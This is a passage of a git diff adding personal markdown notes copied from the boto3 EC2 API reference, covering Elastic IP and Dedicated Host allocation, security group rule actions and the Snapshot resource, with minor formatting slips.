NetworkBorderGroup='string', + # (_string_) -- A unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + # Use this parameter to limit the IP address to this location. IP addresses cannot move between network border groups. + CustomerOwnedIpv4Pool='string', + # (_string_) -- The ID of a customer-owned address pool. Use this parameter to let Amazon EC2 select an address from the address pool. Alternatively, specify a specific address from the address pool. + DryRun=True|False, + TagSpecifications=[ + # The tags to assign to the Elastic IP address. + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) +``` + +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'PublicIp': 'string', + 'AllocationId': 'string', + # (string) -- [EC2-VPC] The ID that AWS assigns to represent the allocation of the Elastic IP address for use with instances in a VPC. + 'PublicIpv4Pool': 'string', + 'NetworkBorderGroup': 'string', + # (string) -- The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + 'Domain': 'vpc'|'standard', + # (string) -- Indicates whether the Elastic IP address is for use with instances in a VPC (vpc ) or instances in EC2-Classic (standard ). + 'CustomerOwnedIp': 'string', + 'CustomerOwnedIpv4Pool': 'string', + 'CarrierIp': 'string' + # (string) -- The carrier IP address. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). +} +``` + + +**Examples** + +```py +# This example allocates an Elastic IP address to use with an instance in a VPC. + +response = ec2client.allocate_address( + Domain='vpc', +) +print(response) + +# Expected Output: +# { +# 'AllocationId': 'eipalloc-64d5890a', +# 'Domain': 'vpc', +# 'PublicIp': '203.0.113.0', +# 'ResponseMetadata': { +# '...': '...', +# }, +# } + + + +# This example allocates an Elastic IP address to use with an instance in EC2-Classic. + +response = ec2client.allocate_address( +) +print(response) + +# Expected Output: +# { +# 'Domain': 'standard', +# 'PublicIp': '198.51.100.0', +# 'ResponseMetadata': { +# '...': '...', +# }, +# } +``` + + + +### allocate_hosts(kwargs_) + +- Allocates a Dedicated Host to your account. At a minimum, specify the supported instance type or instance family, the Availability Zone in which to allocate the host, and the number of hosts to allocate. + +**Request Syntax** + +```py +response = ec2client.allocate_hosts( + AutoPlacement='on'|'off', + AvailabilityZone='string', + ClientToken='string', + InstanceType='string', + InstanceFamily='string', + Quantity=123, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + HostRecovery='on'|'off' +) +``` + +Parameters + +- **AutoPlacement** (_string_) -- + + Indicates whether the host accepts any untargeted instance launches that match its instance type configuration, or if it only accepts Host tenancy instance launches that specify its unique host ID. For more information, see [Understanding Instance Placement and Host Affinity](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/how-dedicated-hosts-work.html#dedicated-hosts-understanding) in the _Amazon EC2 User Guide for Linux Instances_ . + + Default: on + +- **AvailabilityZone** (_string_) -- [REQUIRED] The Availability Zone in which to allocate the Dedicated Host. + +- **ClientToken** (_string_) -- Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . +- **InstanceType** (_string_) -- + + Specifies the instance type to be supported by the Dedicated Hosts. If you specify an instance type, the Dedicated Hosts support instances of the specified instance type only. + + If you want the Dedicated Hosts to support multiple instance types in a specific instance family, omit this parameter and specify **InstanceFamily** instead. You cannot specify **InstanceType** and **InstanceFamily** in the same request. + +- **InstanceFamily** (_string_) -- + + Specifies the instance family to be supported by the Dedicated Hosts. If you specify an instance family, the Dedicated Hosts support multiple instance types within that instance family. + + If you want the Dedicated Hosts to support a specific instance type only, omit this parameter and specify **InstanceType** instead. You cannot specify **InstanceFamily** and **InstanceType** in the same request. + +- **Quantity** (_integer_) -- + + **[REQUIRED]** + + The number of Dedicated Hosts to allocate to your account with these parameters. + +- **TagSpecifications** (_list_) -- + + The tags to apply to the Dedicated Host during creation. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** (string) -- The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id13)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id15)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + - **Tags** (list) --The tags to apply to the resource. + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **HostRecovery** (_string_) -- + + Indicates whether to enable or disable host recovery for the Dedicated Host. Host recovery is disabled by default. For more information, see [Host Recovery](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/dedicated-hosts-recovery.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: off + +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'HostIds': [ + 'string', + ] +} +``` + +**Response Structure** + +- (dict) -- Contains the output of AllocateHosts. + + - **HostIds** _(list) --_ + + The ID of the allocated Dedicated Host. This is used to launch an instance onto a specific host. + + - _(string) --_ + +apply_security_groups_to_client_vpn_target_network(kwargs_)[¶](#EC2.Client.apply_security_groups_to_client_vpn_target_network "Permalink to this definition") + +Applies a security group to the association between the target network and the Client VPN endpoint. This action replaces the existing security groups with the specified security groups. + +**Request Syntax** + +```py +response = ec2client.apply_security_groups_to_client_vpn_target_network( + ClientVpnEndpointId='string', + VpcId='string', + SecurityGroupIds=[ + 'string', + ], + DryRun=True|False +) +``` + +Parameters + +- **ClientVpnEndpointId** (_string_) -- [REQUIRED] The ID of the Client VPN endpoint. + +- **VpcId** (_string_) -- [REQUIRED] The ID of the VPC in which the associated target network is located. + +- **SecurityGroupIds** (_list_) -- + + **[REQUIRED]** + + The IDs of the security groups to apply to the associated target network. Up to 5 security groups can be applied to an associated target network. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'SecurityGroupIds': [ + 'string', + ] +} +``` + +**Response Structure** + +- _(dict) --_ + + - **SecurityGroupIds** _(list) --_ + + The IDs of the applied security groups. + + - _(string) --_ + + + +--- + +### assign_ipv6_addresses(kwargs_) + +- Assigns one or more IPv6 addresses to the specified network interface. + - specify one or more specific IPv6 addresses, + - specify the number of IPv6 addresses to be automatically assigned from within the subnet's IPv6 CIDR block range. +- You can assign as many IPv6 addresses to a network interface as you can assign private IPv4 addresses, and the limit varies per instance type. + +You must specify either the IPv6 addresses or the IPv6 address count in the request. + +**Request Syntax** + +```py +response = ec2client.assign_ipv6_addresses( + Ipv6AddressCount=123, + # (_integer_) -- The number of IPv6 addresses to assign to the network interface. + # Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. + Ipv6Addresses=[ + 'string', + # _(string) -- One or more specific IPv6 addresses to be assigned to the network interface. + # You can't use this option if you're specifying a number of IPv6 addresses. + ], + NetworkInterfaceId='string' + # (_string_) -- [REQUIRED] The ID of the network interface. +) +``` + + +Return +- Return type: dict +- **Response Syntax** diff --git a/_posts/01Cloud/01AWS/0boto3code/ec2-19ec2resource-SecurityGroup.md b/_posts/01Cloud/01AWS/0boto3code/ec2-19ec2resource-SecurityGroup.md new file mode 100644 index 00000000000..e6baf1d2054 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/ec2-19ec2resource-SecurityGroup.md @@ -0,0 +1,7643 @@ + +[toc] + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + 1. Client + 1. Paginators + 1. Waiters + 1. Service Resource + 1. ClassicAddress + 1. DhcpOptions + 1. Image + 1. Instance + 1. InternetGateway + 1. KeyPair + 1. KeyPairInfo + 1. NetworkAcl + 1. NetworkInterface + 1. NetworkInterfaceAssociation + 1. PlacementGroup + 1. Route + 1. RouteTable + 1. RouteTableAssociation + 1. SecurityGroup + 1. Snapshot + 1. Subnet + 1. Tag + 1. Volume + 1. Vpc + 1. VpcPeeringConnection + 1. VpcAddress + +--- + + +# EC2 - SecurityGroup + +_class_ EC2.SecurityGroup(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) SecurityGroup: + +```py +import boto3 + +ec2resource = boto3.resource('ec2') +security_group = ec2resource.SecurityGroup('id') +``` + + +available actions: +- authorize_egress() +- authorize_ingress() +- create_tags() +- delete() +- get_available_subresources() +- load() +- reload() +- revoke_egress() +- revoke_ingress() + +--- + + +## Actions + + +### authorize_egress(kwargs_) + +1. authorize_egress + - [VPC only] Adds the specified egress rules to a security group for use with a VPC. + - An outbound rule permits instances to send traffic to the specified IPv4 or IPv6 CIDR address ranges, or to the instances associated with the specified destination security groups. + +2. authorize_ingress(kwargs_) + - Adds the specified ingress rules to a security group. + - An inbound rule permits instances to receive traffic from the specified IPv4 or IPv6 CIDR address ranges, or from the instances associated with the specified destination security groups. + + +- specify a protocol for each rule (for example, TCP). + - For the TCP and UDP protocols, you must also specify the destination port or port range. + - For the ICMP protocol, you must also specify the ICMP type and code. + - You can use -1 for the type or code to mean all types or all codes. + +> Rule changes are propagated to affected instances as quickly as possible. However, a small delay might occur. + + + +**Request Syntax** + +```py +response = security_group.authorize_egress( + DryRun=True|False, + IpPermissions=[ + # (_list_) -- The sets of IP permissions. + # You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + { + 'FromPort': 123, + 'IpProtocol': 'string', + + 'IpRanges': [ + # The IPv4 ranges. + { + 'CidrIp': 'string', + 'Description': 'string' + }, + + ], + 'Ipv6Ranges': [ + # The IPv6 ranges. + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + # The ID of the prefix. + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + # The status of a VPC peering connection, if applicable. + 'UserId': 'string', + # The ID of an AWS account. + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + + + +response = ec2security_group.authorize_ingress( + DryRun=True|False + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, +) +``` + + +Return +- None + + +--- + +### create_tags(kwargs_) + + +**Request Syntax** + +```py +tag = ec2security_group.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + + +Return: +- Return type: list(ec2.Tag) +- A list of Tag resources + +--- + + +### delete(kwargs_) `Deletes a security group` + +If you attempt to delete a security group that is associated with an instance, or is referenced by another security group, the operation fails with `InvalidGroup.InUse` in EC2-Classic or `DependencyViolation` in EC2-VPC. + + +**Request Syntax** + +```py +response = ec2security_group.delete( + GroupName='string', + DryRun=True|False +) +``` + +--- + +### get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + + +--- + + +### load() and reload() + +Calls `EC2.Client.describe_security_groups()` to update the attributes of the SecurityGroup resource. +- Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +security_group.load() +security_group.reload() +``` + +Return +- None + + +--- + + + +### revoke_egress(kwargs_) and revoke_ingress(kwargs_) + + +1. `revoke_egress(kwargs_)` + - [VPC only] Removes the specified egress rules from a security group for EC2-VPC. This action does not apply to security groups for use in EC2-Classic. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + - [Default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + + +2. `revoke_ingress(kwargs_)` + + - Removes the specified ingress rules from a security group. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + - [EC2-Classic , default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + + + +> AWS recommends to use `DescribeSecurityGroups` to verify that the rule has been removed. + + +- Each rule consists of the protocol and the IPv4 or IPv6 CIDR range or source security group. +- For the TCP and UDP protocols, you must also specify the destination port or range of ports. +- For the ICMP protocol, you must also specify the ICMP type and code. +- If the security group rule has a description, you do not have to specify the description to revoke the rule. + + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + + +**Request Syntax** + +```py +response = security_group.revoke_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) +``` + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + + + + +response = security_group.revoke_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) +``` + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False, + # Returns true if the request succeeds; otherwise, returns an error. + 'UnknownIpPermissions': [ + # The inbound rules that were unknown to the service. + # In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} +``` + + + + +[Snapshot](#id1252) +-------------------------------------------------------------- + +_class_ EC2.Snapshot(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Snapshot: + +```py +import boto3 + +ec2 = boto3.resource('ec2') +snapshot = ec2.Snapshot('id') +``` + +Parameters + +**id** (_string_) -- The Snapshot's id identifier. This **must** be set. + +available identifiers: + +- id](#EC2.Snapshot.id "EC2.Snapshot.id") + +available attributes: + +- data_encryption_key_id](#EC2.Snapshot.data_encryption_key_id "EC2.Snapshot.data_encryption_key_id") +- description](#EC2.Snapshot.description "EC2.Snapshot.description") +- encrypted](#EC2.Snapshot.encrypted "EC2.Snapshot.encrypted") +- kms_key_id](#EC2.Snapshot.kms_key_id "EC2.Snapshot.kms_key_id") +- owner_alias](#EC2.Snapshot.owner_alias "EC2.Snapshot.owner_alias") +- owner_id](#EC2.Snapshot.owner_id "EC2.Snapshot.owner_id") +- progress](#EC2.Snapshot.progress "EC2.Snapshot.progress") +- snapshot_id](#EC2.Snapshot.snapshot_id "EC2.Snapshot.snapshot_id") +- start_time](#EC2.Snapshot.start_time "EC2.Snapshot.start_time") +- state](#EC2.Snapshot.state "EC2.Snapshot.state") +- state_message](#EC2.Snapshot.state_message "EC2.Snapshot.state_message") +- tags](#EC2.Snapshot.tags "EC2.Snapshot.tags") +- volume_id](#EC2.Snapshot.volume_id "EC2.Snapshot.volume_id") +- volume_size](#EC2.Snapshot.volume_size "EC2.Snapshot.volume_size") + +available references: + +- volume](#EC2.Snapshot.volume "EC2.Snapshot.volume") + +available actions: + +- copy()](#EC2.Snapshot.copy "EC2.Snapshot.copy") +- create_tags()](#EC2.Snapshot.create_tags "EC2.Snapshot.create_tags") +- delete()](#EC2.Snapshot.delete "EC2.Snapshot.delete") +- describe_attribute()](#EC2.Snapshot.describe_attribute "EC2.Snapshot.describe_attribute") +- get_available_subresources()](#EC2.Snapshot.get_available_subresources "EC2.Snapshot.get_available_subresources") +- load()](#EC2.Snapshot.load "EC2.Snapshot.load") +- modify_attribute()](#EC2.Snapshot.modify_attribute "EC2.Snapshot.modify_attribute") +- reload()](#EC2.Snapshot.reload "EC2.Snapshot.reload") +- reset_attribute()](#EC2.Snapshot.reset_attribute "EC2.Snapshot.reset_attribute") + +available waiters: + +- wait_until_completed()](#EC2.Snapshot.wait_until_completed "EC2.Snapshot.wait_until_completed") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Snapshot's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Snapshot.load "EC2.Snapshot.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +data_encryption_key_id + +* _(string) --_ + + The data encryption key identifier for the snapshot. This value is a unique identifier that corresponds to the data encryption key that was used to encrypt the original volume or snapshot copy. Because data encryption keys are inherited by volumes created from snapshots, and vice versa, if snapshots share the same data encryption key identifier, then they belong to the same volume/snapshot lineage. This parameter is only returned by DescribeSnapshots . + + +description + +* _(string) --_ + + The description for the snapshot. + + +encrypted + +* _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the parent volume. + + +owner_alias + +* _(string) --_ + + The AWS owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. + + +owner_id + +* _(string) --_ + + The AWS account ID of the EBS snapshot owner. + + +progress + +* _(string) --_ + + The progress of the snapshot, as a percentage. + + +snapshot_id + +* _(string) --_ + + The ID of the snapshot. Each snapshot receives a unique identifier when it is created. + + +start_time + +* _(datetime) --_ + + The time stamp when the snapshot was initiated. + + +state + +* _(string) --_ + + The snapshot state. + + +state_message + +* _(string) --_ + + Encrypted Amazon EBS snapshots are copied asynchronously. If a snapshot copy operation fails (for example, if the proper AWS Key Management Service (AWS KMS) permissions are not obtained) this field displays error state details to help you diagnose why the error occurred. This parameter is only returned by DescribeSnapshots . + + +tags + +* _(list) --_ + + Any tags assigned to the snapshot. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +volume_id + +* _(string) --_ + + The ID of the volume that was used to create the snapshot. Snapshots created by the CopySnapshot action have an arbitrary volume ID that should not be used for any purpose. + + +volume_size + +* _(integer) --_ + + The size of the volume, in GiB. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +volume + +(Volume) The related volume if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +copy(kwargs_) + +Copies a point-in-time snapshot of an EBS volume and stores it in Amazon S3. You can copy the snapshot within the same Region or from one Region to another. You can use the snapshot to create EBS volumes or Amazon Machine Images (AMIs). + +Copies of encrypted EBS snapshots remain encrypted. Copies of unencrypted snapshots remain unencrypted, unless you enable encryption for the snapshot copy operation. By default, encrypted snapshot copies use the default AWS Key Management Service (AWS KMS) customer master key (CMK); however, you can specify a different CMK. + +To copy an encrypted snapshot that has been shared from another account, you must have permissions for the CMK used to encrypt the snapshot. + +Snapshots created by copying another snapshot have an arbitrary volume ID that should not be used for any purpose. + +For more information, see [Copying an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-copy-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = snapshot.copy( + Description='string', + Encrypted=True|False, + KmsKeyId='string', + SourceRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) +``` + +Parameters + +* **Description** (_string_) -- A description for the EBS snapshot. +* **DestinationRegion** (_string_) -- + + The destination Region to use in the PresignedUrl parameter of a snapshot copy operation. This parameter is only valid for specifying the destination Region in a PresignedUrl parameter, where it is required. + + The snapshot copy is sent to the regional endpoint that you sent the HTTP request to (for example, ec2.us-east-1.amazonaws.com ). With the AWS CLI, this is specified using the --region parameter or the default Region in your AWS configuration file. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **Encrypted** (_boolean_) -- To encrypt a copy of an unencrypted snapshot if encryption by default is not enabled, enable encryption using this parameter. Otherwise, omit this parameter. Encrypted snapshots are encrypted, even if you omit this parameter and encryption by default is not enabled. You cannot set this parameter to false. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +* **PresignedUrl** (_string_) -- + + When you copy an encrypted source snapshot using the Amazon EC2 Query API, you must supply a pre-signed URL. This parameter is optional for unencrypted snapshots. For more information, see [Query requests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Query-Requests.html) . + + The PresignedUrl ``` + should use the snapshot source endpoint, the CopySnapshot action, and include the SourceRegion , SourceSnapshotId , and DestinationRegion parameters. The PresignedUrl must be signed using AWS Signature Version 4. Because EBS snapshots a``` + re stored in Amazon S3, the signing algorithm for this parameter uses the same logic that is described in [Authenticating Requests: Using Query Parameters (AWS Signature Version 4)](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html) in the _Amazon Simple Storage Service API Reference_ . An invalid or improperly signed PresignedUrl will cause the copy operation to fail asynchronously, and the snapshot will move to an error state. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **SourceRegion** (_string_) -- **[REQUIRED]** The ID of the Region that contains the snapshot to be copied. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the new snapshot. + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1076)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1078)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) 